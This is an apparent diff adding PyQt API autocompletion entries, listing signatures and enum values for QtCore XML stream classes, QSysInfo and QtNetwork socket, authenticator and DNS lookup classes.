+QtCore.QXmlStreamNamespaceDeclaration.__init__?1(self, QXmlStreamNamespaceDeclaration) +QtCore.QXmlStreamNamespaceDeclaration?1(QString, QString) +QtCore.QXmlStreamNamespaceDeclaration.__init__?1(self, QString, QString) +QtCore.QXmlStreamNamespaceDeclaration.prefix?4() -> QStringRef +QtCore.QXmlStreamNamespaceDeclaration.namespaceUri?4() -> QStringRef +QtCore.QXmlStreamNotationDeclaration?1() +QtCore.QXmlStreamNotationDeclaration.__init__?1(self) +QtCore.QXmlStreamNotationDeclaration?1(QXmlStreamNotationDeclaration) +QtCore.QXmlStreamNotationDeclaration.__init__?1(self, QXmlStreamNotationDeclaration) +QtCore.QXmlStreamNotationDeclaration.name?4() -> QStringRef +QtCore.QXmlStreamNotationDeclaration.systemId?4() -> QStringRef +QtCore.QXmlStreamNotationDeclaration.publicId?4() -> QStringRef +QtCore.QXmlStreamEntityDeclaration?1() +QtCore.QXmlStreamEntityDeclaration.__init__?1(self) +QtCore.QXmlStreamEntityDeclaration?1(QXmlStreamEntityDeclaration) +QtCore.QXmlStreamEntityDeclaration.__init__?1(self, QXmlStreamEntityDeclaration) +QtCore.QXmlStreamEntityDeclaration.name?4() -> QStringRef +QtCore.QXmlStreamEntityDeclaration.notationName?4() -> QStringRef +QtCore.QXmlStreamEntityDeclaration.systemId?4() -> QStringRef +QtCore.QXmlStreamEntityDeclaration.publicId?4() -> QStringRef +QtCore.QXmlStreamEntityDeclaration.value?4() -> QStringRef +QtCore.QXmlStreamEntityResolver?1() +QtCore.QXmlStreamEntityResolver.__init__?1(self) +QtCore.QXmlStreamEntityResolver?1(QXmlStreamEntityResolver) +QtCore.QXmlStreamEntityResolver.__init__?1(self, QXmlStreamEntityResolver) +QtCore.QXmlStreamEntityResolver.resolveUndeclaredEntity?4(QString) -> QString +QtCore.QXmlStreamReader.Error?10 +QtCore.QXmlStreamReader.Error.NoError?10 +QtCore.QXmlStreamReader.Error.UnexpectedElementError?10 +QtCore.QXmlStreamReader.Error.CustomError?10 +QtCore.QXmlStreamReader.Error.NotWellFormedError?10 +QtCore.QXmlStreamReader.Error.PrematureEndOfDocumentError?10 +QtCore.QXmlStreamReader.ReadElementTextBehaviour?10 +QtCore.QXmlStreamReader.ReadElementTextBehaviour.ErrorOnUnexpectedElement?10 +QtCore.QXmlStreamReader.ReadElementTextBehaviour.IncludeChildElements?10 +QtCore.QXmlStreamReader.ReadElementTextBehaviour.SkipChildElements?10 +QtCore.QXmlStreamReader.TokenType?10 +QtCore.QXmlStreamReader.TokenType.NoToken?10 +QtCore.QXmlStreamReader.TokenType.Invalid?10 +QtCore.QXmlStreamReader.TokenType.StartDocument?10 +QtCore.QXmlStreamReader.TokenType.EndDocument?10 +QtCore.QXmlStreamReader.TokenType.StartElement?10 +QtCore.QXmlStreamReader.TokenType.EndElement?10 +QtCore.QXmlStreamReader.TokenType.Characters?10 +QtCore.QXmlStreamReader.TokenType.Comment?10 +QtCore.QXmlStreamReader.TokenType.DTD?10 +QtCore.QXmlStreamReader.TokenType.EntityReference?10 +QtCore.QXmlStreamReader.TokenType.ProcessingInstruction?10 +QtCore.QXmlStreamReader?1() +QtCore.QXmlStreamReader.__init__?1(self) +QtCore.QXmlStreamReader?1(QIODevice) +QtCore.QXmlStreamReader.__init__?1(self, QIODevice) +QtCore.QXmlStreamReader?1(QByteArray) +QtCore.QXmlStreamReader.__init__?1(self, QByteArray) +QtCore.QXmlStreamReader?1(QString) +QtCore.QXmlStreamReader.__init__?1(self, QString) +QtCore.QXmlStreamReader.setDevice?4(QIODevice) +QtCore.QXmlStreamReader.device?4() -> QIODevice +QtCore.QXmlStreamReader.addData?4(QByteArray) +QtCore.QXmlStreamReader.addData?4(QString) +QtCore.QXmlStreamReader.clear?4() +QtCore.QXmlStreamReader.atEnd?4() -> bool +QtCore.QXmlStreamReader.readNext?4() -> QXmlStreamReader.TokenType +QtCore.QXmlStreamReader.tokenType?4() -> QXmlStreamReader.TokenType +QtCore.QXmlStreamReader.tokenString?4() -> QString +QtCore.QXmlStreamReader.setNamespaceProcessing?4(bool) +QtCore.QXmlStreamReader.namespaceProcessing?4() -> bool +QtCore.QXmlStreamReader.isStartDocument?4() -> bool +QtCore.QXmlStreamReader.isEndDocument?4() -> bool +QtCore.QXmlStreamReader.isStartElement?4() -> bool +QtCore.QXmlStreamReader.isEndElement?4() -> bool +QtCore.QXmlStreamReader.isCharacters?4() -> bool +QtCore.QXmlStreamReader.isWhitespace?4() -> bool +QtCore.QXmlStreamReader.isCDATA?4() -> bool +QtCore.QXmlStreamReader.isComment?4() -> bool +QtCore.QXmlStreamReader.isDTD?4() -> bool +QtCore.QXmlStreamReader.isEntityReference?4() -> bool +QtCore.QXmlStreamReader.isProcessingInstruction?4() -> bool +QtCore.QXmlStreamReader.isStandaloneDocument?4() -> bool +QtCore.QXmlStreamReader.documentVersion?4() -> QStringRef +QtCore.QXmlStreamReader.documentEncoding?4() -> QStringRef +QtCore.QXmlStreamReader.lineNumber?4() -> int +QtCore.QXmlStreamReader.columnNumber?4() -> int +QtCore.QXmlStreamReader.characterOffset?4() -> int +QtCore.QXmlStreamReader.attributes?4() -> QXmlStreamAttributes +QtCore.QXmlStreamReader.readElementText?4(QXmlStreamReader.ReadElementTextBehaviour behaviour=QXmlStreamReader.ErrorOnUnexpectedElement) -> QString +QtCore.QXmlStreamReader.name?4() -> QStringRef +QtCore.QXmlStreamReader.namespaceUri?4() -> QStringRef +QtCore.QXmlStreamReader.qualifiedName?4() -> QStringRef +QtCore.QXmlStreamReader.prefix?4() -> QStringRef +QtCore.QXmlStreamReader.processingInstructionTarget?4() -> QStringRef +QtCore.QXmlStreamReader.processingInstructionData?4() -> QStringRef +QtCore.QXmlStreamReader.text?4() -> QStringRef +QtCore.QXmlStreamReader.namespaceDeclarations?4() -> unknown-type +QtCore.QXmlStreamReader.addExtraNamespaceDeclaration?4(QXmlStreamNamespaceDeclaration) +QtCore.QXmlStreamReader.addExtraNamespaceDeclarations?4(unknown-type) +QtCore.QXmlStreamReader.notationDeclarations?4() -> unknown-type +QtCore.QXmlStreamReader.entityDeclarations?4() -> unknown-type +QtCore.QXmlStreamReader.dtdName?4() -> QStringRef +QtCore.QXmlStreamReader.dtdPublicId?4() -> QStringRef +QtCore.QXmlStreamReader.dtdSystemId?4() -> QStringRef +QtCore.QXmlStreamReader.raiseError?4(QString message='') +QtCore.QXmlStreamReader.errorString?4() -> QString +QtCore.QXmlStreamReader.error?4() -> QXmlStreamReader.Error +QtCore.QXmlStreamReader.hasError?4() -> bool +QtCore.QXmlStreamReader.setEntityResolver?4(QXmlStreamEntityResolver) +QtCore.QXmlStreamReader.entityResolver?4() -> QXmlStreamEntityResolver +QtCore.QXmlStreamReader.readNextStartElement?4() -> bool +QtCore.QXmlStreamReader.skipCurrentElement?4() +QtCore.QXmlStreamReader.entityExpansionLimit?4() -> int +QtCore.QXmlStreamReader.setEntityExpansionLimit?4(int) +QtCore.QXmlStreamWriter?1() +QtCore.QXmlStreamWriter.__init__?1(self) +QtCore.QXmlStreamWriter?1(QIODevice) +QtCore.QXmlStreamWriter.__init__?1(self, QIODevice) +QtCore.QXmlStreamWriter?1(QByteArray) +QtCore.QXmlStreamWriter.__init__?1(self, QByteArray) +QtCore.QXmlStreamWriter.setDevice?4(QIODevice) +QtCore.QXmlStreamWriter.device?4() -> QIODevice +QtCore.QXmlStreamWriter.setCodec?4(QTextCodec) +QtCore.QXmlStreamWriter.setCodec?4(str) +QtCore.QXmlStreamWriter.codec?4() -> QTextCodec +QtCore.QXmlStreamWriter.setAutoFormatting?4(bool) +QtCore.QXmlStreamWriter.autoFormatting?4() -> bool +QtCore.QXmlStreamWriter.setAutoFormattingIndent?4(int) +QtCore.QXmlStreamWriter.autoFormattingIndent?4() -> int +QtCore.QXmlStreamWriter.writeAttribute?4(QString, QString) +QtCore.QXmlStreamWriter.writeAttribute?4(QString, QString, QString) +QtCore.QXmlStreamWriter.writeAttribute?4(QXmlStreamAttribute) +QtCore.QXmlStreamWriter.writeAttributes?4(QXmlStreamAttributes) +QtCore.QXmlStreamWriter.writeCDATA?4(QString) +QtCore.QXmlStreamWriter.writeCharacters?4(QString) +QtCore.QXmlStreamWriter.writeComment?4(QString) +QtCore.QXmlStreamWriter.writeDTD?4(QString) +QtCore.QXmlStreamWriter.writeEmptyElement?4(QString) +QtCore.QXmlStreamWriter.writeEmptyElement?4(QString, QString) +QtCore.QXmlStreamWriter.writeTextElement?4(QString, QString) +QtCore.QXmlStreamWriter.writeTextElement?4(QString, QString, QString) +QtCore.QXmlStreamWriter.writeEndDocument?4() +QtCore.QXmlStreamWriter.writeEndElement?4() +QtCore.QXmlStreamWriter.writeEntityReference?4(QString) +QtCore.QXmlStreamWriter.writeNamespace?4(QString, QString prefix='') +QtCore.QXmlStreamWriter.writeDefaultNamespace?4(QString) +QtCore.QXmlStreamWriter.writeProcessingInstruction?4(QString, QString data='') +QtCore.QXmlStreamWriter.writeStartDocument?4() +QtCore.QXmlStreamWriter.writeStartDocument?4(QString) +QtCore.QXmlStreamWriter.writeStartDocument?4(QString, bool) +QtCore.QXmlStreamWriter.writeStartElement?4(QString) +QtCore.QXmlStreamWriter.writeStartElement?4(QString, QString) +QtCore.QXmlStreamWriter.writeCurrentToken?4(QXmlStreamReader) +QtCore.QXmlStreamWriter.hasError?4() -> bool +QtCore.QSysInfo.WinVersion?10 +QtCore.QSysInfo.WinVersion.WV_32s?10 +QtCore.QSysInfo.WinVersion.WV_95?10 +QtCore.QSysInfo.WinVersion.WV_98?10 +QtCore.QSysInfo.WinVersion.WV_Me?10 +QtCore.QSysInfo.WinVersion.WV_DOS_based?10 +QtCore.QSysInfo.WinVersion.WV_NT?10 +QtCore.QSysInfo.WinVersion.WV_2000?10 +QtCore.QSysInfo.WinVersion.WV_XP?10 +QtCore.QSysInfo.WinVersion.WV_2003?10 +QtCore.QSysInfo.WinVersion.WV_VISTA?10 +QtCore.QSysInfo.WinVersion.WV_WINDOWS7?10 +QtCore.QSysInfo.WinVersion.WV_WINDOWS8?10 +QtCore.QSysInfo.WinVersion.WV_WINDOWS8_1?10 +QtCore.QSysInfo.WinVersion.WV_WINDOWS10?10 +QtCore.QSysInfo.WinVersion.WV_NT_based?10 +QtCore.QSysInfo.WinVersion.WV_4_0?10 +QtCore.QSysInfo.WinVersion.WV_5_0?10 +QtCore.QSysInfo.WinVersion.WV_5_1?10 +QtCore.QSysInfo.WinVersion.WV_5_2?10 +QtCore.QSysInfo.WinVersion.WV_6_0?10 +QtCore.QSysInfo.WinVersion.WV_6_1?10 +QtCore.QSysInfo.WinVersion.WV_6_2?10 +QtCore.QSysInfo.WinVersion.WV_6_3?10 +QtCore.QSysInfo.WinVersion.WV_10_0?10 +QtCore.QSysInfo.WinVersion.WV_CE?10 +QtCore.QSysInfo.WinVersion.WV_CENET?10 +QtCore.QSysInfo.WinVersion.WV_CE_5?10 +QtCore.QSysInfo.WinVersion.WV_CE_6?10 +QtCore.QSysInfo.WinVersion.WV_CE_based?10 +QtCore.QSysInfo.Endian?10 +QtCore.QSysInfo.Endian.BigEndian?10 +QtCore.QSysInfo.Endian.LittleEndian?10 +QtCore.QSysInfo.Endian.ByteOrder?10 +QtCore.QSysInfo.Sizes?10 +QtCore.QSysInfo.Sizes.WordSize?10 +QtCore.QSysInfo.WindowsVersion?7 +QtCore.QSysInfo?1() +QtCore.QSysInfo.__init__?1(self) +QtCore.QSysInfo?1(QSysInfo) +QtCore.QSysInfo.__init__?1(self, QSysInfo) +QtCore.QSysInfo.windowsVersion?4() -> QSysInfo.WinVersion +QtCore.QSysInfo.buildAbi?4() -> QString +QtCore.QSysInfo.buildCpuArchitecture?4() -> QString +QtCore.QSysInfo.currentCpuArchitecture?4() -> QString +QtCore.QSysInfo.kernelType?4() -> QString +QtCore.QSysInfo.kernelVersion?4() -> QString +QtCore.QSysInfo.prettyProductName?4() -> QString +QtCore.QSysInfo.productType?4() -> QString +QtCore.QSysInfo.productVersion?4() -> QString +QtCore.QSysInfo.machineHostName?4() -> QString +QtCore.QWinEventNotifier?1(QObject parent=None) +QtCore.QWinEventNotifier.__init__?1(self, QObject parent=None) +QtCore.QWinEventNotifier?1(sip.voidptr, QObject parent=None) +QtCore.QWinEventNotifier.__init__?1(self, sip.voidptr, QObject parent=None) +QtCore.QWinEventNotifier.handle?4() -> sip.voidptr +QtCore.QWinEventNotifier.isEnabled?4() -> bool +QtCore.QWinEventNotifier.setHandle?4(sip.voidptr) +QtCore.QWinEventNotifier.setEnabled?4(bool) +QtCore.QWinEventNotifier.activated?4(sip.voidptr) +QtCore.QWinEventNotifier.event?4(QEvent) -> bool +QtNetwork.QOcspRevocationReason?10 +QtNetwork.QOcspRevocationReason.None_?10 +QtNetwork.QOcspRevocationReason.Unspecified?10 +QtNetwork.QOcspRevocationReason.KeyCompromise?10 +QtNetwork.QOcspRevocationReason.CACompromise?10 +QtNetwork.QOcspRevocationReason.AffiliationChanged?10 +QtNetwork.QOcspRevocationReason.Superseded?10 +QtNetwork.QOcspRevocationReason.CessationOfOperation?10 +QtNetwork.QOcspRevocationReason.CertificateHold?10 +QtNetwork.QOcspRevocationReason.RemoveFromCRL?10 +QtNetwork.QOcspCertificateStatus?10 +QtNetwork.QOcspCertificateStatus.Good?10 +QtNetwork.QOcspCertificateStatus.Revoked?10 +QtNetwork.QOcspCertificateStatus.Unknown?10 +QtNetwork.QNetworkCacheMetaData?1() +QtNetwork.QNetworkCacheMetaData.__init__?1(self) +QtNetwork.QNetworkCacheMetaData?1(QNetworkCacheMetaData) +QtNetwork.QNetworkCacheMetaData.__init__?1(self, QNetworkCacheMetaData) +QtNetwork.QNetworkCacheMetaData.isValid?4() -> bool +QtNetwork.QNetworkCacheMetaData.url?4() -> QUrl +QtNetwork.QNetworkCacheMetaData.setUrl?4(QUrl) +QtNetwork.QNetworkCacheMetaData.rawHeaders?4() -> unknown-type +QtNetwork.QNetworkCacheMetaData.setRawHeaders?4(unknown-type) +QtNetwork.QNetworkCacheMetaData.lastModified?4() -> QDateTime +QtNetwork.QNetworkCacheMetaData.setLastModified?4(QDateTime) +QtNetwork.QNetworkCacheMetaData.expirationDate?4() -> QDateTime +QtNetwork.QNetworkCacheMetaData.setExpirationDate?4(QDateTime) +QtNetwork.QNetworkCacheMetaData.saveToDisk?4() -> bool +QtNetwork.QNetworkCacheMetaData.setSaveToDisk?4(bool) +QtNetwork.QNetworkCacheMetaData.attributes?4() -> unknown-type +QtNetwork.QNetworkCacheMetaData.setAttributes?4(unknown-type) +QtNetwork.QNetworkCacheMetaData.swap?4(QNetworkCacheMetaData) +QtNetwork.QAbstractNetworkCache?1(QObject parent=None) +QtNetwork.QAbstractNetworkCache.__init__?1(self, QObject parent=None) +QtNetwork.QAbstractNetworkCache.metaData?4(QUrl) -> QNetworkCacheMetaData +QtNetwork.QAbstractNetworkCache.updateMetaData?4(QNetworkCacheMetaData) +QtNetwork.QAbstractNetworkCache.data?4(QUrl) -> QIODevice +QtNetwork.QAbstractNetworkCache.remove?4(QUrl) -> bool +QtNetwork.QAbstractNetworkCache.cacheSize?4() -> int +QtNetwork.QAbstractNetworkCache.prepare?4(QNetworkCacheMetaData) -> QIODevice +QtNetwork.QAbstractNetworkCache.insert?4(QIODevice) +QtNetwork.QAbstractNetworkCache.clear?4() +QtNetwork.QAbstractSocket.PauseMode?10 +QtNetwork.QAbstractSocket.PauseMode.PauseNever?10 +QtNetwork.QAbstractSocket.PauseMode.PauseOnSslErrors?10 +QtNetwork.QAbstractSocket.BindFlag?10 +QtNetwork.QAbstractSocket.BindFlag.DefaultForPlatform?10 +QtNetwork.QAbstractSocket.BindFlag.ShareAddress?10 +QtNetwork.QAbstractSocket.BindFlag.DontShareAddress?10 +QtNetwork.QAbstractSocket.BindFlag.ReuseAddressHint?10 +QtNetwork.QAbstractSocket.SocketOption?10 +QtNetwork.QAbstractSocket.SocketOption.LowDelayOption?10 +QtNetwork.QAbstractSocket.SocketOption.KeepAliveOption?10 +QtNetwork.QAbstractSocket.SocketOption.MulticastTtlOption?10 +QtNetwork.QAbstractSocket.SocketOption.MulticastLoopbackOption?10 +QtNetwork.QAbstractSocket.SocketOption.TypeOfServiceOption?10 +QtNetwork.QAbstractSocket.SocketOption.SendBufferSizeSocketOption?10 +QtNetwork.QAbstractSocket.SocketOption.ReceiveBufferSizeSocketOption?10 +QtNetwork.QAbstractSocket.SocketOption.PathMtuSocketOption?10 +QtNetwork.QAbstractSocket.SocketState?10 +QtNetwork.QAbstractSocket.SocketState.UnconnectedState?10 +QtNetwork.QAbstractSocket.SocketState.HostLookupState?10 +QtNetwork.QAbstractSocket.SocketState.ConnectingState?10 +QtNetwork.QAbstractSocket.SocketState.ConnectedState?10 +QtNetwork.QAbstractSocket.SocketState.BoundState?10 +QtNetwork.QAbstractSocket.SocketState.ListeningState?10 +QtNetwork.QAbstractSocket.SocketState.ClosingState?10 +QtNetwork.QAbstractSocket.SocketError?10 +QtNetwork.QAbstractSocket.SocketError.ConnectionRefusedError?10 +QtNetwork.QAbstractSocket.SocketError.RemoteHostClosedError?10 +QtNetwork.QAbstractSocket.SocketError.HostNotFoundError?10 +QtNetwork.QAbstractSocket.SocketError.SocketAccessError?10 +QtNetwork.QAbstractSocket.SocketError.SocketResourceError?10 +QtNetwork.QAbstractSocket.SocketError.SocketTimeoutError?10 +QtNetwork.QAbstractSocket.SocketError.DatagramTooLargeError?10 +QtNetwork.QAbstractSocket.SocketError.NetworkError?10 +QtNetwork.QAbstractSocket.SocketError.AddressInUseError?10 +QtNetwork.QAbstractSocket.SocketError.SocketAddressNotAvailableError?10 +QtNetwork.QAbstractSocket.SocketError.UnsupportedSocketOperationError?10 +QtNetwork.QAbstractSocket.SocketError.UnfinishedSocketOperationError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyAuthenticationRequiredError?10 +QtNetwork.QAbstractSocket.SocketError.SslHandshakeFailedError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyConnectionRefusedError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyConnectionClosedError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyConnectionTimeoutError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyNotFoundError?10 +QtNetwork.QAbstractSocket.SocketError.ProxyProtocolError?10 +QtNetwork.QAbstractSocket.SocketError.OperationError?10 +QtNetwork.QAbstractSocket.SocketError.SslInternalError?10 +QtNetwork.QAbstractSocket.SocketError.SslInvalidUserDataError?10 +QtNetwork.QAbstractSocket.SocketError.TemporaryError?10 +QtNetwork.QAbstractSocket.SocketError.UnknownSocketError?10 +QtNetwork.QAbstractSocket.NetworkLayerProtocol?10 +QtNetwork.QAbstractSocket.NetworkLayerProtocol.IPv4Protocol?10 +QtNetwork.QAbstractSocket.NetworkLayerProtocol.IPv6Protocol?10 +QtNetwork.QAbstractSocket.NetworkLayerProtocol.AnyIPProtocol?10 +QtNetwork.QAbstractSocket.NetworkLayerProtocol.UnknownNetworkLayerProtocol?10 +QtNetwork.QAbstractSocket.SocketType?10 +QtNetwork.QAbstractSocket.SocketType.TcpSocket?10 +QtNetwork.QAbstractSocket.SocketType.UdpSocket?10 +QtNetwork.QAbstractSocket.SocketType.SctpSocket?10 +QtNetwork.QAbstractSocket.SocketType.UnknownSocketType?10 +QtNetwork.QAbstractSocket?1(QAbstractSocket.SocketType, QObject) +QtNetwork.QAbstractSocket.__init__?1(self, QAbstractSocket.SocketType, QObject) +QtNetwork.QAbstractSocket.connectToHost?4(QString, int, QIODevice.OpenMode mode=QIODevice.ReadWrite, QAbstractSocket.NetworkLayerProtocol protocol=QAbstractSocket.AnyIPProtocol) +QtNetwork.QAbstractSocket.connectToHost?4(QHostAddress, int, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtNetwork.QAbstractSocket.disconnectFromHost?4() +QtNetwork.QAbstractSocket.isValid?4() -> bool +QtNetwork.QAbstractSocket.bytesAvailable?4() -> int +QtNetwork.QAbstractSocket.bytesToWrite?4() -> int +QtNetwork.QAbstractSocket.canReadLine?4() -> bool +QtNetwork.QAbstractSocket.localPort?4() -> int +QtNetwork.QAbstractSocket.localAddress?4() -> QHostAddress +QtNetwork.QAbstractSocket.peerPort?4() -> int +QtNetwork.QAbstractSocket.peerAddress?4() -> QHostAddress +QtNetwork.QAbstractSocket.peerName?4() -> QString +QtNetwork.QAbstractSocket.readBufferSize?4() -> int +QtNetwork.QAbstractSocket.setReadBufferSize?4(int) +QtNetwork.QAbstractSocket.abort?4() +QtNetwork.QAbstractSocket.setSocketDescriptor?4(qintptr, QAbstractSocket.SocketState state=QAbstractSocket.ConnectedState, QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtNetwork.QAbstractSocket.socketDescriptor?4() -> qintptr +QtNetwork.QAbstractSocket.socketType?4() -> QAbstractSocket.SocketType +QtNetwork.QAbstractSocket.state?4() -> QAbstractSocket.SocketState +QtNetwork.QAbstractSocket.error?4() -> QAbstractSocket.SocketError +QtNetwork.QAbstractSocket.close?4() +QtNetwork.QAbstractSocket.isSequential?4() -> bool +QtNetwork.QAbstractSocket.atEnd?4() -> bool +QtNetwork.QAbstractSocket.flush?4() -> bool +QtNetwork.QAbstractSocket.waitForConnected?4(int msecs=30000) -> bool +QtNetwork.QAbstractSocket.waitForReadyRead?4(int msecs=30000) -> bool +QtNetwork.QAbstractSocket.waitForBytesWritten?4(int msecs=30000) -> bool +QtNetwork.QAbstractSocket.waitForDisconnected?4(int msecs=30000) -> bool +QtNetwork.QAbstractSocket.setProxy?4(QNetworkProxy) +QtNetwork.QAbstractSocket.proxy?4() -> QNetworkProxy +QtNetwork.QAbstractSocket.hostFound?4() +QtNetwork.QAbstractSocket.connected?4() +QtNetwork.QAbstractSocket.disconnected?4() +QtNetwork.QAbstractSocket.stateChanged?4(QAbstractSocket.SocketState) +QtNetwork.QAbstractSocket.error?4(QAbstractSocket.SocketError) +QtNetwork.QAbstractSocket.errorOccurred?4(QAbstractSocket.SocketError) +QtNetwork.QAbstractSocket.proxyAuthenticationRequired?4(QNetworkProxy, QAuthenticator) +QtNetwork.QAbstractSocket.readData?4(int) -> object +QtNetwork.QAbstractSocket.readLineData?4(int) -> object +QtNetwork.QAbstractSocket.writeData?4(bytes) -> int +QtNetwork.QAbstractSocket.setSocketState?4(QAbstractSocket.SocketState) +QtNetwork.QAbstractSocket.setSocketError?4(QAbstractSocket.SocketError) +QtNetwork.QAbstractSocket.setLocalPort?4(int) +QtNetwork.QAbstractSocket.setLocalAddress?4(QHostAddress) +QtNetwork.QAbstractSocket.setPeerPort?4(int) +QtNetwork.QAbstractSocket.setPeerAddress?4(QHostAddress) +QtNetwork.QAbstractSocket.setPeerName?4(QString) +QtNetwork.QAbstractSocket.setSocketOption?4(QAbstractSocket.SocketOption, QVariant) +QtNetwork.QAbstractSocket.socketOption?4(QAbstractSocket.SocketOption) -> QVariant +QtNetwork.QAbstractSocket.resume?4() +QtNetwork.QAbstractSocket.pauseMode?4() -> QAbstractSocket.PauseModes +QtNetwork.QAbstractSocket.setPauseMode?4(QAbstractSocket.PauseModes) +QtNetwork.QAbstractSocket.bind?4(QHostAddress, int port=0, QAbstractSocket.BindMode mode=QAbstractSocket.DefaultForPlatform) -> bool +QtNetwork.QAbstractSocket.bind?4(int port=0, QAbstractSocket.BindMode mode=QAbstractSocket.DefaultForPlatform) -> bool +QtNetwork.QAbstractSocket.protocolTag?4() -> QString +QtNetwork.QAbstractSocket.setProtocolTag?4(QString) +QtNetwork.QAbstractSocket.BindMode?1() +QtNetwork.QAbstractSocket.BindMode.__init__?1(self) +QtNetwork.QAbstractSocket.BindMode?1(int) +QtNetwork.QAbstractSocket.BindMode.__init__?1(self, int) +QtNetwork.QAbstractSocket.BindMode?1(QAbstractSocket.BindMode) +QtNetwork.QAbstractSocket.BindMode.__init__?1(self, QAbstractSocket.BindMode) +QtNetwork.QAbstractSocket.PauseModes?1() +QtNetwork.QAbstractSocket.PauseModes.__init__?1(self) +QtNetwork.QAbstractSocket.PauseModes?1(int) +QtNetwork.QAbstractSocket.PauseModes.__init__?1(self, int) +QtNetwork.QAbstractSocket.PauseModes?1(QAbstractSocket.PauseModes) +QtNetwork.QAbstractSocket.PauseModes.__init__?1(self, QAbstractSocket.PauseModes) +QtNetwork.QAuthenticator?1() +QtNetwork.QAuthenticator.__init__?1(self) +QtNetwork.QAuthenticator?1(QAuthenticator) +QtNetwork.QAuthenticator.__init__?1(self, QAuthenticator) +QtNetwork.QAuthenticator.user?4() -> QString +QtNetwork.QAuthenticator.setUser?4(QString) +QtNetwork.QAuthenticator.password?4() -> QString +QtNetwork.QAuthenticator.setPassword?4(QString) +QtNetwork.QAuthenticator.realm?4() -> QString +QtNetwork.QAuthenticator.isNull?4() -> bool +QtNetwork.QAuthenticator.option?4(QString) -> QVariant +QtNetwork.QAuthenticator.options?4() -> unknown-type +QtNetwork.QAuthenticator.setOption?4(QString, QVariant) +QtNetwork.QDnsDomainNameRecord?1() +QtNetwork.QDnsDomainNameRecord.__init__?1(self) +QtNetwork.QDnsDomainNameRecord?1(QDnsDomainNameRecord) +QtNetwork.QDnsDomainNameRecord.__init__?1(self, QDnsDomainNameRecord) +QtNetwork.QDnsDomainNameRecord.swap?4(QDnsDomainNameRecord) +QtNetwork.QDnsDomainNameRecord.name?4() -> QString +QtNetwork.QDnsDomainNameRecord.timeToLive?4() -> int +QtNetwork.QDnsDomainNameRecord.value?4() -> QString +QtNetwork.QDnsHostAddressRecord?1() +QtNetwork.QDnsHostAddressRecord.__init__?1(self) +QtNetwork.QDnsHostAddressRecord?1(QDnsHostAddressRecord) +QtNetwork.QDnsHostAddressRecord.__init__?1(self, QDnsHostAddressRecord) +QtNetwork.QDnsHostAddressRecord.swap?4(QDnsHostAddressRecord) +QtNetwork.QDnsHostAddressRecord.name?4() -> QString +QtNetwork.QDnsHostAddressRecord.timeToLive?4() -> int +QtNetwork.QDnsHostAddressRecord.value?4() -> QHostAddress +QtNetwork.QDnsMailExchangeRecord?1() +QtNetwork.QDnsMailExchangeRecord.__init__?1(self) +QtNetwork.QDnsMailExchangeRecord?1(QDnsMailExchangeRecord) +QtNetwork.QDnsMailExchangeRecord.__init__?1(self, QDnsMailExchangeRecord) +QtNetwork.QDnsMailExchangeRecord.swap?4(QDnsMailExchangeRecord) +QtNetwork.QDnsMailExchangeRecord.exchange?4() -> QString +QtNetwork.QDnsMailExchangeRecord.name?4() -> QString +QtNetwork.QDnsMailExchangeRecord.preference?4() -> int +QtNetwork.QDnsMailExchangeRecord.timeToLive?4() -> int +QtNetwork.QDnsServiceRecord?1() +QtNetwork.QDnsServiceRecord.__init__?1(self) +QtNetwork.QDnsServiceRecord?1(QDnsServiceRecord) +QtNetwork.QDnsServiceRecord.__init__?1(self, QDnsServiceRecord) +QtNetwork.QDnsServiceRecord.swap?4(QDnsServiceRecord) +QtNetwork.QDnsServiceRecord.name?4() -> QString +QtNetwork.QDnsServiceRecord.port?4() -> int +QtNetwork.QDnsServiceRecord.priority?4() -> int +QtNetwork.QDnsServiceRecord.target?4() -> QString +QtNetwork.QDnsServiceRecord.timeToLive?4() -> int +QtNetwork.QDnsServiceRecord.weight?4() -> int +QtNetwork.QDnsTextRecord?1() +QtNetwork.QDnsTextRecord.__init__?1(self) +QtNetwork.QDnsTextRecord?1(QDnsTextRecord) +QtNetwork.QDnsTextRecord.__init__?1(self, QDnsTextRecord) +QtNetwork.QDnsTextRecord.swap?4(QDnsTextRecord) +QtNetwork.QDnsTextRecord.name?4() -> QString +QtNetwork.QDnsTextRecord.timeToLive?4() -> int +QtNetwork.QDnsTextRecord.values?4() -> unknown-type +QtNetwork.QDnsLookup.Type?10 +QtNetwork.QDnsLookup.Type.A?10 +QtNetwork.QDnsLookup.Type.AAAA?10 +QtNetwork.QDnsLookup.Type.ANY?10 +QtNetwork.QDnsLookup.Type.CNAME?10 +QtNetwork.QDnsLookup.Type.MX?10 +QtNetwork.QDnsLookup.Type.NS?10 +QtNetwork.QDnsLookup.Type.PTR?10 +QtNetwork.QDnsLookup.Type.SRV?10 +QtNetwork.QDnsLookup.Type.TXT?10 +QtNetwork.QDnsLookup.Error?10 +QtNetwork.QDnsLookup.Error.NoError?10 +QtNetwork.QDnsLookup.Error.ResolverError?10 +QtNetwork.QDnsLookup.Error.OperationCancelledError?10 +QtNetwork.QDnsLookup.Error.InvalidRequestError?10 +QtNetwork.QDnsLookup.Error.InvalidReplyError?10 +QtNetwork.QDnsLookup.Error.ServerFailureError?10 +QtNetwork.QDnsLookup.Error.ServerRefusedError?10 +QtNetwork.QDnsLookup.Error.NotFoundError?10 +QtNetwork.QDnsLookup?1(QObject parent=None) +QtNetwork.QDnsLookup.__init__?1(self, QObject parent=None) +QtNetwork.QDnsLookup?1(QDnsLookup.Type, QString, QObject parent=None) +QtNetwork.QDnsLookup.__init__?1(self, QDnsLookup.Type, QString, QObject parent=None) +QtNetwork.QDnsLookup?1(QDnsLookup.Type, QString, QHostAddress, QObject parent=None) +QtNetwork.QDnsLookup.__init__?1(self, QDnsLookup.Type, QString, QHostAddress, QObject parent=None) +QtNetwork.QDnsLookup.error?4() -> QDnsLookup.Error +QtNetwork.QDnsLookup.errorString?4() -> QString +QtNetwork.QDnsLookup.isFinished?4() -> bool +QtNetwork.QDnsLookup.name?4() -> QString +QtNetwork.QDnsLookup.setName?4(QString) +QtNetwork.QDnsLookup.type?4() -> QDnsLookup.Type +QtNetwork.QDnsLookup.setType?4(QDnsLookup.Type) +QtNetwork.QDnsLookup.canonicalNameRecords?4() -> unknown-type +QtNetwork.QDnsLookup.hostAddressRecords?4() -> unknown-type 